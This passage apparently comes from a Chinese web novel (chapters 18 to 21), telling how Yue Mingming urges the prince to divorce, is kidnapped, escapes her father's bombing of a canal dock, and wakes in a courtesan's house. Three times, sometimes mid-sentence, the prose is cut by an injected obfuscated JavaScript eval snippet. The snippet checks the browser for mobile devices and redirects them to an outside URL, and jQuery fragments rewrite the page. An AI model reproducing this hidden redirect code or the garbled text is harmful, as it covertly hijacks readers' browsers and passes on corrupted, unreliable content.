岳明明诚实道:“不是她……其实是我!主意都是我出的,你别再怪她!” “哦?”赵琮昀好像来了点兴致:“你的主意……说来听听?” 岳明明拿出酝酿许久的说辞,循循善诱道:“虽然你们这个时代有很多传统思想,但王爷你一看就不是循规蹈矩的人!” 她努力拍马屁:“你有大思想、大格局,家世好,长得也好,什么样的女子娶不到……没必要勉强留着一个不爱你的人,对吧?” “既然两个人都不幸福,还不如和和气气分开?你觉得怎么样?” 赵琮昀眉峰一挑,总结道:“所以你的主意,是让我休了她?” 岳明明慌忙解释:“不是休!是和离,这样好听一点!行不行?” “不行!” 赵琮昀唇角噙笑,眼神却极冷:“你们是不是计划好,把和离原因也归咎于我?” “反正我寻花问柳、纨绔不堪的名声不是一天两天了……她是当朝太傅的嫡亲孙女,不堪忍受我这样的人,最后不畏权贵,愤然和离,倒成了世人口中钦佩同情的对象。” “你的算盘珠子都快崩到我脸上了……我凭什么要受你们这样编排?” 岳明明被怼得哑口无言。 还有些羞愧……因为她的确是这么想的! 这世道对男女宽容程度天差地别,对他来讲不过一桩笑谈,过几天就忘了,可放到苏定柔身上,就要被唾沫星子淹死。 反正赵琮昀名声那么差,债多不压身,替苏定柔背个锅,也没啥大不了。 可刚刚听到他的质问,岳明明忽然就懂了赵琮昀的愤怒和委屈。 这么多年,他大概经历了无数次这样的编排。 没有人在意真相,他被世人推举着,慢慢就成了他们期待中声名狼藉的样子。 难为他还要顶着这样的人设,暗地里为漕运贪腐、为江州百姓殚精竭虑。 原来不止风流是他的面具,精于谋划的狡诈狐狸也是……实际上,这人却是个实实在在的傻瓜! 她想起玉湖岸边,李嗣骂他“幼学之年尚有鸿鹄之志”,当年的他是那样的吗?后来发生了什么,将他变成现在这副模样? “对不起,没考虑你的感受。”岳明明认真道歉。 “……”赵琮昀骤然哑了火。 他喉头滚动,把攒了一腔的怨怼之辞咽回去,因为他看出来,岳明明眼中歉意是真诚的。 “我只是觉得,两个并不相爱的人,偏要绑在一起,最后两看生厌,何必呢?” 岳明明语气软下来,带了点小心翼翼:“如果王妃姐姐有可能得到幸福……你能不能成全她?” 赵琮昀道:“你可曾想过,府中没了王妃,李凭如一定会想方设法上位,到时候你我的日子都不好过!” 他眼中闪过偏执的光:“这场婚姻,从一开始就是交易。现在她后悔了,想要幸福就能得到,那我呢?” “……你可以再找个人当王妃。”岳明明硬着头皮提出建议。 其实是赤裸裸的暗示!!! 赵琮昀哪里懂,他嗤笑一声:“你真当我是块香饽饽……我这名声,哪个正经人家愿意把女儿嫁给我?就算有一些攀龙附凤之辈,李凭如背靠皇后,他们更不敢得罪!” “或许有人既不贪图富贵,也不害怕李凭如。”岳明明努力眨眼。 赵琮昀冷笑:“京中没有这样的人。” 岳明明败下阵来,叹气道:"要不你考虑考虑我呢……都不用麻烦你再娶一遍,原地提拔就行!” 赵琮昀:………… 他是真的愣住了。 第一反应,仍是下意识地猜忌:她为了自己当王妃,所以力劝他与苏定柔和离?! 可她疯了吗? 从她的所作所为来看,她并不是那种贪恋富贵、不择手段的人—— 如果说在玉湖边救下李嗣,算故人情谊,那收留杏儿,帮孙承父子,送人丹药……这些没有半点好处的事,她也做得津津有味,乐此不疲。 实际上,在这满眼权贵、遍地虚伪的京中,她比他见过的任何人都慷慨大方,这点和孙大勇很像,他们身上都有股天然的侠气。 这也是赵琮昀在她面前,越来越口是心非的原因。 理智上,他警惕她身上的矛盾和谜团,讨厌她让人捉摸不透,愤怒于她的不守规则。 可她又太与众不同,太莫名其妙,诱得他尚未分清敌友,就忍不住一步步陷进去。 “我不明白……”赵琮昀眉头拧紧:“你究竟是怎么想的?你真的想做王妃?” 岳明明当然不想! 要不是该死的系统任务,谁要跟李凭如那“毒唯”作对,抢这个费力不讨好的身份? 一瞬间的犹疑,全数落在赵琮昀眼里。 原来她并不是真想做他的王妃。 赵琮昀分不清那一刻是怎样的心情,生怕被人看穿他的失望,他脱口道:“别做梦了!你父亲随时可能因为贪腐入狱,这是株连大罪,届时你连妾室身份都未必保得住!还妄想做什么王妃?!” “就算你父亲没问题,以你的家世背景,也绝不可能!” 他以为岳明明会怒不可遏,可少女居然极其理性地点点头:“你说得对……所以,你想想办法呀!” “……” 赵琮昀咬牙切齿:“凭什么?我不要!” 岳明明摆事实讲道理,发表自己的“竞选宣言”:“你想想,我当了王妃,对你有很多好处的。” “我什么都听你的,还能跟你一起对付李凭如!另外,我的‘秘密武器’也可以告诉你,说不定像漕运这件事一样,将来也能帮到你!” “虽然我家世不如王妃姐姐,但我心在你这儿,一定会是很好的合作伙伴,你考虑一下吧?” 赵琮昀气结:“都听我的?还有什么……心在我这儿……你是怎么大言不惭,说出这种话的?” 岳明明难得好脾气:“是我口不择言!我的错!” “你放心,我不会永远霸占‘王妃’这位子,以后你有喜欢的女人了,我立刻退出!” 赵琮昀眸中风云变幻:“你真是大方!” 岳明明以为他不信,好心提醒:“那封休书我还留着呢,到期生效,不会纠缠你的。” 赵琮昀倏地笑了:“所以……你的意思是,这王妃你只能做半年?” 岳明明为他终于听懂了感到欣慰。 “没错!我就是个替补而已!” 兼职狗仔,替补王妃——她这一趟游戏的职业体验也是绝了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085607|146413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵琮昀连耳根都气红了。 他强忍摔杯冲动,盯着岳明明喜滋滋的脸,一字一顿警告:“今日这番胡说八道,再敢说一次,我就让你知道,什么是真正的天家之怒!” “认命吧!这座王府你们逃不出去的!” * 东叔匆匆赶来时,正看见两人不欢而散。 桌上桂花酒冷,赵琮昀望着少女怒气冲冲、摔摔打打的背影,气得连喝了三杯。 东叔急劝:“快别喝了,宫里突然传旨召见你,万一醉了就麻烦了!” 赵琮昀不听还好,听完直接掀开壶盖,整壶灌了下去,一张玉脸登时泛起红晕。 东叔大惊失色:“你要闹到御前去撒酒疯吗?” 赵琮昀摆手:“怕什么!我在他们眼里,不一直是这样吗?我清醒给谁看呢?” 东叔无奈,一边服侍赵琮昀更衣一边心想,岳娘子这是出了什么主意,能把原本高高兴兴的人气成这样…… “到底是哪句话说错了?” 岳明明趴在床上复盘。 可思来想去,她也摸不透赵琮昀的思路,只能将答案归咎为此人变态,喜怒无常。 对自己发脾气事小,帮不了苏定柔反倒害了她,事就大了! 岳明明有点懊悔自己的冲动,正考虑要不要避开暗卫,悄悄溜去澄怀斋一趟,好歹跟苏定柔通个气,让她有个心理准备。 门忽然被人撞开。 杏儿慌里慌张跑进来:“娘子不好了,王妃的住处着火了!” 岳明明第一反应是:自己难道是乌鸦嘴?赵琮昀这狗东西,居然真气到杀人放火?! “……王爷疯了?”她脱口道。 杏儿莫名其妙:“王爷进宫去了!现在府中没人主事,奴婢怕侧王妃暗中使坏,要是不肯好好救火,再将门堵住……” 这太像李凭如会干出来的事了! 岳明明腾地坐起来:“你去把园子里的暗卫都叫来,大家一起去灭火!” 她火速换了套利落装扮,刚要冲出去,却被一名暗卫拦下:“王爷有令,娘子不能出园子!其他人去灭火,请娘子留下!” 跟这些人讲道理白费口舌,岳明明眼珠一转:“咱们都去,你们正好照看我。否则你们都走了,园子不安全怎么办?” 暗卫有些为难,岳明明急道:“大丈夫做事不拘小节,现在救人要紧!那可是王妃,真出了事,你们怎么交待?” 暗卫勉强答应:“……请娘子务必跟紧我们!” 岳明明拍胸脯保证:“没问题。” 众人赶到澄怀斋时,里面早已烧成一片火海,侍女们尖叫声不绝,外面却不见几个救火的人。 果然! 岳明明气得咬牙切齿,现在没空跟李凭如算账,她大声吩咐道:“咱们先把人救出来,其他不要管了!” 暗卫们领命,却有一人始终跟在岳明明身后,寸步不离。 岳明明一边用杏儿递过来的水囊灭火,一边对这位“尾巴”喊道:“大哥你跟着我干嘛?去救人呀!” “王爷有命……” “狗屁命令!都这时候了,你还管他的命令!如果你不去,那我去!” 她说着就往火里冲,杏儿和暗卫吓得赶忙拉住她,暗卫没办法,只好加入救火队伍。 岳明明心急如焚,像只热锅上的蚂蚁,不停祈祷苏定柔千万别出事。 手中的水囊又空了。 她已经记不清自己是第几次转身取水,可这回身后站的不是杏儿,而是李凭如,以及一个从未见过的陌生男人。 李凭如脸上露出得逞笑容:“小狐狸精,终于逮到你了!” “黄泉路寂寞,一路走好不送!” 19. 第 19 章 “明明,醒一醒!” 岳明明在梦里,听到有人唤她的名字。 温柔,耐心,充满怜爱。 她不知身在何处,总之摇摇晃晃睡得正香,实在不愿睁眼,可架不住那声音锲而不舍,唤到最后,已经有些急切。 她于心不忍,只好努力睁开眼睛,见到一张素未谋面的脸。 是个怪好看的年轻男子。 气质不如赵琮昀,却比那条冰山慈眉善目许多,跟他的声音一样。 男子见她醒了,轻轻舒口气:“怎么样?还难受吗?” 岳明明扶着晕乎乎的头,慢慢回过神来——她是被李凭如的手下,捂了迷药绑走的! “你是谁?!”岳明明声音里透出紧张。 她四下打量,才发现自己正在一艘行进中的船上。船外无星无月,漆黑一团,只能听见哗哗不绝的水声,不知要驶向何处。 “你们要把我带去哪里?” 男子凄然一笑:“你这是说胡话……还是不愿认我了?” “……” 岳明明尴尬,不会是自己扮演的这个角色,又惹上什么风流债了吧? 她刚要询问,又有人躬身进了船舱。 此人长相俊秀,风度翩翩,一派端庄君子模样,立在舱门口笑盈盈看她。 岳明明登时不寒而栗。 因为她在这个人脸上,看到了自己的影子。 这不正是她那心狠手辣的夺命亲爹嘛! 都说女儿长相更像父亲,此刻岳明明深以为然,她和父亲岳兆封,简直是一个模子刻出来的! “你们这游戏人物画师,也太偷工减料了……”岳明明佯装镇定,对系统吐槽。 身体却不受控制地颤抖起来。 她想象过很多次这位幕后黑手的模样,无一不是狰狞油腻的糟老头子,却没想到居然是自己的同款建模脸。 好怕!好嫌弃! “嫁人之后,漂亮了。”岳兆封像从未见过自己女儿一样,细细打量她:“不过不如从前……从前更乖一些。” 岳明明抖得更厉害。 她这爹好像有点变态呢! “父亲……”一旁男子终于出声,语气里有压抑的不满。 岳明明记起自己有个哥哥,名叫岳琛。 原来是一家子凑齐了! 岳兆封瞥了儿子一眼,撩衣襟坐下,亲切招呼道:“明明,过来陪为父喝一杯。” 岳明明缩着脖子不肯动。 船舱内气氛逐渐诡异,岳兆封笑容不减,看那架势,如果岳明明不过去陪酒,他就要保持这样的姿态,笑到地老天荒。 岳明明坚定苟在原地。 岳琛却忽然俯下身,将她搀扶起来,手上暗暗用力,一直将她拖到桌案前。 “……”岳明明又惊又怒看他。 岳琛脸上有痛苦之色,不敢与她对视,只默默把酒壶推到她面前。 岳明明没办法,只好哆哆嗦嗦倒下一杯酒,递给父亲。 岳兆封满意地喝下去,对岳明明道:“来,你也一起!庆祝咱们父女重逢!” 岳明明只觉毛骨悚然,手抖得酒壶都拿不稳。一旁岳琛垂眸扶过她的手,按照父亲的指示,一步步操纵着岳明明执行。 他把酒放在她唇边,温声劝道:“喝吧。” 岳明明勉强咽下一口,不知是呛到还是吓到,眼泪忍不住滚落,她下意识伸手抹了一把,却怎么擦也擦不完。 “还像以前一样爱哭。” 岳兆封呵呵笑道:“犯了那么多错,哭是没用的。你自小聪慧不输男儿,不妨猜一猜,这次为父要怎么罚你?” 岳明明颤声道:“你不是要杀我吗?” 岳兆封叹息一声,语气里带着不符合他身份的嗔怪之意:“你长大了,不听话了,跟我作对,还偷走漕运记录送给别的男人。” “……明明,我们下过那么多盘棋,你从未赢过,没想到这一局,我却彻底输给你了。” “你知道吗?前几次没能杀成你,我既开心又难过……现在你亲手把我逼上死路,自然要跟我一起走。” “咱们一家人,再也不分开!” ………… 月黑风高,全家团聚,共赴黄泉。 这爹绝对有大病! “父亲……难道我们现在……不是逃走吗?”岳琛愣住,低低问道。 岳兆封轻蔑哼了一句:“明明,拜你那位好夫君所赐,这次我们逃不掉了!” “他这些年韬光养晦,我倒低估了他。不过你放心,我带你走,自然也不会亏待他。我给他也准备了一份大礼。” 岳明明心头莫名一跳:“你要对他做什么?” 岳兆封眼中现出冷冽恨意:“你很关心他?” 岳明明隐隐明白了什么,立刻否认道:“没有!我们关系很差!我特别讨厌他!” 岳兆封闻言,不知为何,反倒深深瞪了岳琛一眼。岳琛将头埋得更深。 “你到底要做什么?”岳明明急道。 岳兆封像逗弄孩童似的,不紧不慢道:“给你一点提示,咱们这船,马上就到漕运码头了。” 他欣赏着岳明明的茫然无措,又补充道:“明日午后,第二批前往江州的运粮船,将在这里出发。” 岳明明再傻也听明白了,这个疯子要对码头动手! 关键是……他要做什么? 岳明明大脑呼呼运转——既要拉着大家一起死,又要破坏漕运码头…… “……炸药?” 她喃喃念出一个词,同时希望自己猜错了。 岳兆封哈哈大笑:“我记得你九岁那年上元节,在洛州看过一场烟火,当时你非常喜欢,央求我答应你,年年都要来看……可惜后来我公事繁忙,再没陪你看过。今夜如你所愿,京城最大的一场烟火会为你绽放,算是为父迟到的承诺。” “开心吗?” 马上要被炸成烟花,开心个毛线啊! 岳明明想反驳,想骂人,想逃跑……可偏偏不敢动。 这游戏里的变态,怎么都被他遇上了呢? 这时岳琛忽然上前一步,脸色惨白,颤声道:“父亲!您先前不是这样说的!您答应不再杀她,好好待她,我们一家团聚……我才把她带来的!” 咦? 岳明明心头希望火苗瞬间窜起,奉上毕生演技,见风使舵哭起来:“哥哥救我!我不想死啊!” 岳兆封冷冷一笑,抬手啪地扇过一个嘴巴,岳琛半边脸登时肿起来。 “你还有脸讨价还价?当初要不是你,哪有今天这些事?我们谁都不用死!” “父亲!”岳琛几乎低吼出来,声音里包含太多情绪,岳明明未及分辨,就被岳兆封厉声打断。 “混帐!让开!” 他伸手要拉岳明明,岳明明惊得慌忙往岳琛身后躲。 其实她已不抱希望,因为她早看出来,自己这位哥哥根本不敢违抗父亲,纵使再不愿意,也只能为岳兆封做帮凶。 但这次她错了。岳琛没有动。 他身体不争气地抖起来,显然从未直面过父亲的雷霆之怒,可他没动。 牢牢把岳明明护在身后。 “你也出息了?!”岳兆封眼里闪过一抹惊讶,转瞬化为不屑,反手又是一巴掌。 “滚开!” “……”岳明明看不过去了。 因为愤怒,她手脚恢复一点力气,拼命拽住岳琛衣袖,把他往后拉。 岳琛倔强横在两人中间,任谁也拉不开。 岳兆封扫了眼桌上快熄灭的一截余香,脸色微变,手上再不留情,径直卡住了自己儿子的脖颈:“还不让开?找死!” 岳琛大喊一句:“明明你快走!跳船!” “今晚谁也走不了!”岳兆封目露凶光,犹如被夺子的野兽,恶狠狠扑上来,眼看抓住岳明明衣襟的瞬间,却被岳琛猛地撞开。 父子二人在狭小船舱内滚成一团。 岳明明转身想跑,可她实在没办法忽略地上狼狈不堪的岳琛。 对父亲长期无条件服从,让他根本不敢真的动手,只是下意识牵扯住岳兆封的行动,为岳明明争取时间。 岳兆封却尽往要人命的地方下手,半分父子情面也不讲。 岳明明大喊:“哥,你把他砸晕,跟我一起走!” 岳兆封怒不可遏抬头:“好啊!很好!你要跟他走,我就要他死!” 下一刻他双眼通红,犹如厉鬼附身,狠命掐住岳琛,将他头往碎了一地的瓷片上撞。 岳明明尖叫着扑过来,试图用身体阻住岳兆封,岳兆封却突然扔下岳琛,狞笑着抓住岳明明手臂。 “你是我的!到死都是!” 三个激斗中的人谁也没看到,被撞到地板上的那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14115315|146413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 截残香,忽忽悠悠,终于燃尽了。 轰隆隆。 爆炸声犹如一记炸雷,掀翻了黑夜。 火光冲天,热浪滚滚,漕运码头突然就成了人间炼狱。停泊在此地,等待出发的运粮船,烧成一片火海,吸引了所有人的目光。 没人注意到有一艘小舟,随着巨震摇摇欲坠,正缓缓沉入水底。 因为离爆炸点太近,船上三人皆被波及,产生了一瞬间的失神。 直到水漫进来,岳琛第一个清醒,跌跌撞撞拉住岳明明,往她怀中塞了块木板,带她跃入水中。 岳明明仍是懵的,手脚僵硬不听使唤,岳琛死命拖着她,把她往水上带。 岳明明终于回过神,她望着四周一片火海,哭道:“我们要死在这里了!” 岳琛挤出一个比哭还难看的笑容:“不会的!明明,听我说……你抱着这块板子,往西边一直游,那个方向连着玉湖,你见到人就大喊,一定能获救!” “哪边是西啊……”岳明明呛了几口水,越着急害怕,人就越往下沉:“救命啊呜呜!” 岳琛努力想去托她,发现使不出力气了。 “明明!别着急,你是会水的!”他一步步耐心指导:“放松下来,手臂放到板子上,双腿慢一点蹬……” 岳明明又急又气,心想你倒是帮帮我呀,都这个时候了,还有闲心客串游泳教练? 可为了活命,她只能沉下心,按岳琛所说,慢慢调整自己的动作。渐渐地,她发现头可以露出水面,腿上动作有了规律,呼吸也终于顺畅。 “咱们要去哪边?”岳明明扭头问,脸上甚至带了一点笑容。 岳琛也对她笑,朝一个方向指了指:“那里。” 岳明明点头:“我跟着你。我可以了。” “明明,对不起。”岳琛忽然开口,熊熊大火倒映在他眼里,碎成点点泪光。 “一直不敢告诉你,其实是我背地里做手脚,把你嫁给了赵琮昀。” 他身子往下沉,语气焦急起来:“随着你年龄渐长,父亲那样对你,我很害怕,却阻止不了他……希望你不要恨我。” 岳明明怔了一下。 看他那样难过,忍不住脱口道:“我不恨你的!之前我在船上说的那些话,都是骗人的,其实我在王府过得很好。” “真的?”岳琛深深看她,在她眼中寻找谎言的痕迹,可岳明明眸光澄澈坦荡。 “那就好……那就好。” 他手脚再也划不动,口鼻几乎没入水中。岳明明终于瞧出不对,游过来想拉他:“你怎么了?怎么不游了?” 凑近后,岳明明才闻到一股血腥味,连周围爆炸浓烈的硫磺味都压不住。 “别管我,你快离开。”岳琛面容平静:“好好活着。” 顿了顿,他轻轻补充道:“如果可以,别忘了我。” 刚刚死里逃生的喜悦,瞬间转化成巨大恐慌,岳明明哭道:“你别胡说,你死不了……你不能死!你把我扔在这里,让我怎么办啊?” 可岳琛眼里的光越来越暗。 岳明明连拉带拽,仍没办法阻止他下沉,反倒自己也跟着不停呛水。 “放手……” “不!”岳明明倔强摇头。 她已经决定真的把他当成哥哥了,所以他不准死。 就在岳明明坚持不懈的时候,她没有看到,一双惨白的手从水底伸出来,牢牢攥住了她的脚腕。 岳明明身形猛地往下坠,她睁大眼睛,看到不知是人是鬼的岳兆封,正在水底阴恻恻对她笑。 “……”岳明明惊得张大嘴,吐出一串气泡,不自觉松开了岳琛。 岳琛仿佛感受到什么,跟随她的目光,看到了他们阴魂不散的父亲。 他忽然笑了。 他扭头轻拍了一下岳明明,带了点告别意味,然后咬破舌头,借着剧痛带来的短暂清醒,替岳明明掰开手指,最后一次将她用力朝上托,然后头也不回地扎进水底。 岳明明趴在木板上嚎啕大哭。 她等了他足足小半个时辰,水底掀起的泥沙恢复平静,周围火光也渐渐微弱,她终于拖着冻僵的身体,一步三回头地游走了。 游了很久很久,岳明明机械地划着水,几乎快要晕过去。 半梦半醒间,她忽然想起一件事—— 系统曾经告诉过她,她的游泳,是哥哥教的。 20. 第 20 章 赵琮昀喝酒向来极有分寸,很少有真正喝醉的时候。 今晚是个例外。 一壶桂花酒而已,不知怎么就上了头。待到宫中,又闷头喝了一整晚,整个人晕晕沉沉,对谁都是一副爱搭不理的样子。 皇帝原本只想“兄友弟恭”地吃个饭,对他忍无可忍,最后大骂一顿,命人将这个不争气的弟弟送回府中。 赵琮昀醉得连自家着了火都全无反应。 考虑到火势已小,苏定柔和婢女们虽受惊吓,却安然无恙,东叔就没叫醒他。 善后事宜料理完毕,已近二更,府中渐渐恢复平静。东叔回到参园时,发现岳明明房间一片漆黑,不见半点灯光。 ……难道已经睡下了? 他忽觉不对。 以岳明明的性格,府里出了这么大的事,又涉及苏定柔,她怎么可能不见人影? 东叔打个暗号,想找来暗卫询问情况,结果无人回应…… 六名跟随岳明明的暗卫,竟然全数失踪! 东叔反应极迅速,径直推开岳明明屋门,果然空无一人。 糟了! 这场蹊跷大火,原来是冲着她放的! 东叔略作思考,未惊动任何人,返身往澄怀斋方向悄然掠去。 雁过留痕,既然在府中放火劫人,连暗卫都能除掉,总会留下一点线索…… 而对东叔来说,只需一点,就足够了! * 赵琮昀睡得并不安稳。 烦闷的感觉挥之不去,被他带入梦里,化成一条怎么也走不完的长廊。 他口干舌燥,心头焦急万分,不远处有个人影,任凭他全力追赶,还是抓不住。 每次好不容易近了一点,总有藤蔓似的东西探出来缠上他,他越挣扎缠得越紧,最后竟勒得他无法呼吸…… 隆隆隆! 不知何处传来一声巨响,赵琮昀猛地惊醒,后背全是冷汗。 宿醉头痛欲裂,赵琮昀下意识就去摸床前的醒酒汤。这是他与东叔的默契,每次醉酒,东叔都会为他备上一碗,从无例外。 结果这次摸了个空。 赵琮昀起身拉开房门,浓浓夜色混着冷风,扑面将他包围,他不禁打了个寒战。 “王爷!出事了!”东叔匆匆赶来,疾奔到他近前。 赵琮昀蹙眉道:“怎么了?刚刚那声巨响是怎么回事?” 东叔顿了顿,咽下最坏的那个消息,回禀道:“刚刚漕运码头被人炸了!响声就是从那边传过来的!” 赵琮昀蓦地一惊:“那明日的运粮船岂不是……何人如此大胆?!” 东叔沉默看他,没有回答。 赵琮昀立刻明白,咬牙道:“是他?这是被逼得狗急跳墙了!” “你速速带人去码头,尽量挽回损失,同时协助巡防营,防止闹出更大的乱子来!” “对了,刑部也要通知,”赵琮昀用力揉着太阳穴,慢慢梳理思路:“还有御察院那边……” 他突然停住,因为东叔看起来不对劲。 赵琮昀心莫名突突了两下:“……还有其他事?” “岳娘子失踪了。” 赵琮昀微怔,第一反应是生气:“都什么时候了,她还不知轻重地胡闹!那些暗卫是死的吗?怎么也不拦住她?” 东叔垂眸道:“岳娘子是在府里被人带走的……六名暗卫都被除掉了,尸体扔进了火堆。那名叫‘杏儿’的奴婢,也被侧王妃带回去关了起来。” 赵琮昀身子似乎晃了一下。 犹如万丈深渊,一脚踏空。 “是李凭如做的?”他急问,心里隐隐怀着一丝期盼。 ……只要不是她那发疯的父亲就好。 东叔面色凝重:“属下查验了暗卫尸体上的伤痕,与上次玉湖交手的那帮刺客,路数很像。” 他又将澄怀斋起火之事讲述一遍:“我猜测,这是一场‘里应外合’。侧王妃负责放火,引岳娘子过去,将人带走的却是另一伙人。” 赵琮昀默不作声听着,试图冷静思索如何找人,可大脑偏跟他作对,不受控制地重复着他离府前的画面。 他说的最后一句话,是在威胁她。 赵琮昀心狠狠揪了一把。 “王爷?”东叔唤他。 赵琮昀回过神,忽然好似想起什么,进屋提了把长剑,疾步就往外冲。 “你这是要做什么?”东叔大惊。 赵琮昀面无表情,眼底通红:“既然是同谋,李凭如一定知道人在哪里!” 东叔拦住他:“她不会承认的!弄不好还会暴露你插手漕运的事!” 赵琮昀不理。 “王爷千万三思!”东叔急道:“运粮船正在码头烧着,贪腐一案尚未了结,孙大勇还在牢里等着……还有江州十几万灾民,您都不管了吗?” 他脚步倏地顿住,手一松,长剑锵然落地。 对了!他忘了自己脖颈上有条镶金坠银的锁链,平日威风凛凛,却总在某个时刻,提醒他自由如镜花水月,可望不可及! 然而不甘心,胸口憋得几乎要炸掉,他深吸一口气:“所以……就不管她的死活了?” 不似在问东叔,更像诘问自己。 东叔决然道:“王爷放心,此事交给我!我在此立誓,一定把人找到,否则叫我武学尽失,不得善终!” 赵琮昀瞳孔微微一缩,张了张嘴,最后只低低吐出两个字:“……有劳!” “备车,去邀月楼。” “现在?”东叔惊讶。 “我怕我忍不住……会杀了李凭如!” 还有一个说不出口的原因——这园子里处处是岳明明的影子,他如何待得下去? 离开前,他忽然顿住,返身又叮嘱道:“你记得寻个理由,把杏儿带出来……免得她回来,怪我们见死不救。” “……”东叔点头。 那一刻,他只觉赵琮昀背影从未有过的清苦孤寂,看得人心里发酸。 * 岳明明不知是自己命大,还是游戏给她开了主角光环,游到精疲力竭时,幸运地被一艘画舫捞了去。 画舫主人虽救了她,却不友善,递给她热茶和毯子后,连简单寒暄都没有,就自顾自弹起琴来。 岳明明总觉得这女子似曾相识。 好不容易等一曲完毕,岳明明请求道:“姐姐,能不能麻烦你把我送到嘉王府……” 画舫主人细细打量过她,断然拒绝:“不行!你得跟我回去,我想做个试验。” 岳明明脑袋嗡了一声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14149449|146413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她今天是捅了变态的窝吗?跟这些奇奇怪怪的人比起来,赵琮昀简直是天使下凡! 她忽然无比想念王府,想念参园,以及……园子里的人。 “我告诉你,我这个人一无是处的!”岳明明努力解释道:“琴棋书画我样样都不会,脾气差,身体也不好……实在不是做试验的料!你想要多少钱,我都出得起,求求你放了我吧!” 画舫主人愣了一下,饶有兴致道:“你倒挺意思的……” “……” 听起来像是句夸奖,但从变态口中说出来,岳明明不知该如何理解。 她又累又怕,很快发起烧来,唯一遗憾是没能烧晕过去,只能眼睁睁被画舫主人带进一座华丽小楼,扔上一张香喷喷的大床。 完蛋……她大概猜出这是什么鬼地方了! 然而等了很久,想象中的剧情并未发生,倒有人用湿漉漉的毛巾,开始替她擦拭额头。 小心翼翼、笨手笨脚的。 岳明明惊得睁开眼,却见对方只是个四五岁的小姑娘,俊得好似年画娃娃。 这么小的丫鬟……是童工吗? 小姑娘不停用毛巾戳她额头,像只啄米的鸡,弄得岳明明有些暴躁。 “你是谁?那个……可不可以住手呢?” 小姑娘闻言停下来,一板一眼道:“我叫阿念,姨娘说你不舒服,让我来照顾你。你好了吗?” “……我在发烧,怎么可能这么快好?” 岳明明觉得自己一定烧傻了,否则怎么会跟一个小孩斗嘴,还莫名感觉她也眼熟。 阿念思考了一下,又开始戳她:“我发烧的时候,姨娘就是这样做的,既然你还没好,我就继续帮你。” 岳明明叹气,这真是四五岁的小孩吗?怎么会有这么老气横秋的小孩? “能不能给我口水喝?” “好,你等着。”阿念麻利跳下床,鼓捣半晌,端来一碗茶汤。 岳明明接过,不烫不凉,温度正好。倒是个细心的孩子……也许这样伺候人的活计,从小没少干。 她心头一软,道过谢后,试探地问:“小姑娘,这里是什么地方?” 阿念坚定摇头:“姨娘说过,不能告诉你,免得你跑了。” 岳明明噎住,阿念便继续道:“我什么都不会说的,你别问了。你还有什么需要吗?我可以帮你,但不能再跟你说话了。” “……” 真是什么样的人养什么孩子! 岳明明又好气又好笑:“不麻烦你了……我头晕,想睡觉!你可以走啦!” 阿念倒像松了口气:“行,三个时辰后,我会来给你送药。” 她用一种公事公办的态度,替岳明明掖了被角,又往香炉里添了颗安神香丸,便蹑手蹑脚离开了。 四周恢复安静,香气袅袅扩散,岳明明有点恍惚,她好像闻到了熟悉的味道。 属于赵琮昀的气味。 比他身上的松雪香少了几分清冽,更沉稳安定,却一样的好闻。 岳明明想起来了,这是他书房里常燃的那款香……画舫主人的脸也终于浮现在记忆中,她的确见过此人——玉湖晚宴上,与赵琮昀当众调情的那名舞姬。 ……这里是邀月楼,救她的人是姜欢! 21. 第 21 章 岳明明断断续续烧了两天,期间只有阿念端汤送药,姜欢一次都没有出现,不知道葫芦里卖的什么药。 到第三日傍晚,烧终于退了。 岳明明脚步虚浮地下了床,咕咚咕咚喝下一壶凉茶,感觉自己又活了。 吱呀一声,房门被人推开,阿念提着食盒准时出现,端出一碗清粥,两碟小菜。 与府中赵琮昀晚饭一模一样。 ……是姜欢太了解赵琮昀的口味,还是赵琮昀按照邀月楼习惯,让小厨房做的呢? 岳明明忍不住胡思乱想,阿念凑过来,伸手摸了摸她额头。 岳明明笑:“阿念大夫诊断出什么啦?” 阿念脸蛋一红:“你已经不热了,今晚的药可以不喝了。” 岳明明故意逗她:“那你快去告诉你姨娘,让她来见我,否则我可要逃跑啦!” 阿念当了真,犹豫道:“可是姨娘现在有客人,没空见你……你能不能等等?” 岳明明眸光一闪,漫不经心问道:“哦?是什么客人?” 满京城谁不知道姜欢是赵琮昀的人,除他以外,她还能接待什么客人? 阿念大概怕岳明明真的离开,耐心解释道:“有一位好看的公子,常来看姨娘。每次他来的时候,姨娘都很忙的!” ………… 岳明明大无语。 果然是赵琮昀那个没心没肺的狗东西! 她已经失踪三天了,他居然还有心思跟人约会……都不知道着急一下吗?她就这么不重要吗?! 心里某个地方突然空落落的。 岳明明气得将粥碗一推:“救人救到底……阿念大夫,能不能给口肉吃?” 